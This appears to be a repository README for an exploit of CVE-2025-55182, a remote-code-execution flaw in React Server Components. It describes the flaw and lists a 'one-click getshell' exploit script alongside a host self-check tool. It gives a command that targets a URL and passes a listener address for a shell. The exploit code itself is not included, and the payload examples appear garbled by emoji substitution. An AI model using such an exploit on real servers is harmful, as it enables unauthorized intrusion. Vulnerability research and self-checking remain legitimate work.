CVE-2025-55182 RCE

Self-use checking tool for CVE-2025-55182 vulnerability

Vulnerability Principle

React Server Components has a path resolution flaw when decoding payloads sent to server function endpoints. It uses colon-separated object properties to implement nested value access (e.g., $1🅰️b corresponds to {"a":{"b":"foo"}}.a.b), but does not validate the existence of properties. When passing $1🅰️a, it triggers invalid access of {}.a.a, causing a server 500 error. Attackers can achieve RCE by crafting special payloads, exploiting prototype chain pollution and code injection.

Directory Description

• exp.py Exploit code (one-click getshell)
• cve-2025-55182-check.sh Host vulnerability self-check tool

Exploitation Method

python3 exp.py -t http://127.0.0.1:8080/ -a 127.0.0.1:4444

Self-check Method

CVE-2025-55182-Check.sh [-h] [-f <path>] [-a]

Disclaimer

This tool is only for security research, do not use it for illegal purposes.